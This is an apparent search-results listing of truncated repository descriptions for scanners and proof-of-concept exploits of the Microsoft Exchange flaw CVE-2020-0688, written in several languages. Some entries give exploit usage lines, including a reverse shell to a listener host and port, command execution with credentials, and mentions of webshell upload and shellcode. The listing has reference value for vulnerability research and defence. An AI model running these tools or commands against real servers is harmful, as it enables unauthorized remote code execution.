46 matches found
CVE-2020-0688-Scanner
CVE-2020-0688 スキャナー CVE-2020-0688 を非侵入的な方法で複数のホストに対してチェックするための簡易 C ツール。 特徴 入力ファイルからホストをスキャンします。 パッシブチェック: HTML コンテンツをスクレイピングして Exchange バージョンを取得します。 出力ファイルを生成します。 デモ 使い方 前提条件 Windows .NET framework 4.5.2 ダウンロード git clone https://github.com/onSec-fr/CVE-2020-0688-Scanner.git 実行...
PSForgot2kEyXCHANGE
PSForgot2kEyXCHANGE Forgot2kEyXCHANGE CVE-2020-0688 の PoC（概念実証）を PowerShell で記述 使用方法 この PoC は有効なユーザー名とパスワードを必要とします。 この PoC は ysoserial.net を使用して、-Command パラメーターで指定したコマンドを含む新しい ViewState を作成します。 このツールがシステムにインストールされていない場合は、こちら からダウンロードしてください。 PS . .\PSForgot2kEyXCHANGE.ps1 PS Invoke-Forgot2kEyXCHAN...
CVE-2020-0688-Scanner
CVE-2020-0688-Scanner このスクリプトは、IP/範囲/CIDR をスキャンし、検出された Microsoft Exchange Server とそのバージョンを出力します。指定された IP/範囲/CIDR は、masscan を使用してポート tcp/443 でスキャンされます。スキャン成功後、curl で "/owa/auth/logon.aspx" に HTTP GET を試み、Outlook Web Access ページのソースを取得してビルドバージョンを表示します。 Small Business Server 2011（Exchange Server 2010...
CVE-2020-0688-GUI
一、项目目的与参考 目的很简单，最近准备再拿C写C2，先写点小玩意练练手，提高兴趣。于是我就想到了把zcgonvh大佬的工具改成图形化的，源工具链接如下： https://github.com/zcgonvh/CVE-2020-0688 二、使用 从Release处下载： https://github.com/W01fh4cker/CVE-2020-0688-GUI/releases/download/0.0.1-beta/CVE-2020-0688-GUI-V0.0.1-beta.zip 1. 命令执行 2. shellcode加载 三、关于 欢迎关注我的公众号：...
CVE-2020-0688
CVE-2020-0688 CVE-2020-0688：通过固定加密密钥在Microsoft Exchange Server上实现远程代码执行 如何运行 ysonet.exe：从这里下载 运行HTTP服务器： python3 -m http.server 8000 在pwsh命令中更改targeturl和你的IP地址。 安装所有Python依赖。 运行python3 exploit.py...
CVE-2020-0688-Python3
このコードは Packet Storm から取得しました。 このコードを Python3 で正しく動作させるために、さまざまな方法（主に 2to3 と多くの退屈で手間のかかる手作業）を使用しました。 お楽しみください！...
CVE-2020-0688
CVE-2020-0688（Microsoft Exchange のデフォルトの MachineKeySection 逆シリアル化脆弱性）のためのエクスプロイトおよび検出ツール ビルド csc ExchangeCmd.cs csc ExchangeDetect.cs 使い方 ExchangeDetect ExchangeCmd サブコマンド: exec args コマンドを実行 arch リモートプロセスのアーキテクチャを取得（シェルコード用） shellcode シェルコードを実行 exit プログラムを終了 詳細については、writeup.pdf（中国語）をお読みください。...
cve-2020-0688-webshell-upload-technique
Exchange リモートコード実行 cve-2020-0688 - レッドチーム モード ON 必須: python3+ ユニバーサル cve-2020-0688 の Python 実装。ASPX ウェブシェルを利用してカスタムコマンド出力を行います。 これは、セキュリティ上の理由から脆弱性のデモを容易にするための単なる POC です。 私はすべての違法行為を否認します。また、このスクリプトが行ういかなる行為についても責任を負いません。...
CVE-2020-0688
python3 CVE-2020-0688.py mail.chinabaiker.com [email protected] password command...
CVE-2020-0688
このリポジトリには README がありません。...
Cyber-Attack-Analysis
Cybersecurity Case Study: 2020年のVirgin Mobile KSA情報漏洩 📌 エグゼクティブサマリー 2020年、Virgin Mobile KSAで大規模なセキュリティインシデントが発生し、従業員の通信や1,000人以上のユーザーの個人情報を含む機密データが盗難されました。このリポジトリでは、攻撃ベクトル、悪用された技術的脆弱性、およびデータが後にダークウェブで販売されるに至った戦略的失敗について包括的に分析しています。 🔍 攻撃の詳細（「どのように機能したか」）...
ecp_slap
ecpslap これは、脆弱なオンプレミス Exchange インスタンスのスキャンと悪用のための機能を含む、CVE-2020-0688 の概念実証コードです。 使用方法 scan - 悪用に必要な Cookie を取得するために資格情報とターゲット情報を指定し、それらを cookies.txt に保存します。また、対象の Exchange サーバーで Exchange Control Panel ECP サービスが公開されているかどうかを確認し、このサービスへの認証を試み、適切な VIEWSTATEGENERATOR...
cve-2020-0688
cve-2020-0688 私はCVE-2020-0688をより迅速に実行するためにこのスクリプトを作成しました。脆弱性の確認を改善し、そのための手順を大幅に削減するのに役立ちます。 ファイルを実行する前に、以下の入力を変更してください。 url = "https://mail.something.com" input 1 command = "cmd /c echo OOOPS!!! c:/truongtn.txt" input2 aspsession = "1111a11c-11ad-1c11-1111-1111122f5977" input3\ 免責事項...
CVE-2020-0688
CVE-2020-0688 動作するエクスプロイト PoC CVE-2020-0688 - リバースバインドシェル Python2.7 でテスト済み インストール: pip install -r requirements.txt 実行: python CVE-2020-0688-POC.py 10.16.1.24 -lhost 10.1.1.1 -lport 4444...
CVE-2020-0688-Exchange2010
El principal problema con Exchange2010 es que está basado en .NET 2.0 y los gadgets de deserialización genéricos no funcionan. Todos los créditos van para zcgonvh y EazyLov3. El proyecto es simplemente una combinación de: https://github.com/zcgonvh/CVE-2020-0688/ https://www.buaq.net/go-41757.htm...
CVE-2020-0688
CVE-2020-0688 Scanner This is a little dirty Script to Check for vulnerables Exchange Servers by CVE-2020-0688 It's written ugly and in PHP. Caution: It only checks if you have the actual CU update installed. That doesn't mean that you have installed the bugfix patch! Requirements You need php-cl...
Exploit for Improper Authentication in Microsoft
cve-2020-0688 Usage: usage: cve-2020-0688.py -h -s SERVER -u USER -p PASSWORD -c CMD optional arguments: -h, --help show this help message and exit -s SERVER, --server SERVER ECP Server URL Example: http://ip/owa -u USER, --user USER login account Example: domain\user -p PASSWORD, --password...
Exploit for Improper Authentication in Microsoft
I. Project Objectives and References The purpose is simple: r...
NSA, FBI Reveal Hacking Methods Used by Russian Military Hackers
An ongoing brute-force attack campaign targeting enterprise cloud environments has been spearheaded by the Russian military intelligence since mid-2019, according to a joint advisory published by intelligence agencies in the U.K. and U.S. The National Security Agency NSA, Cybersecurity and...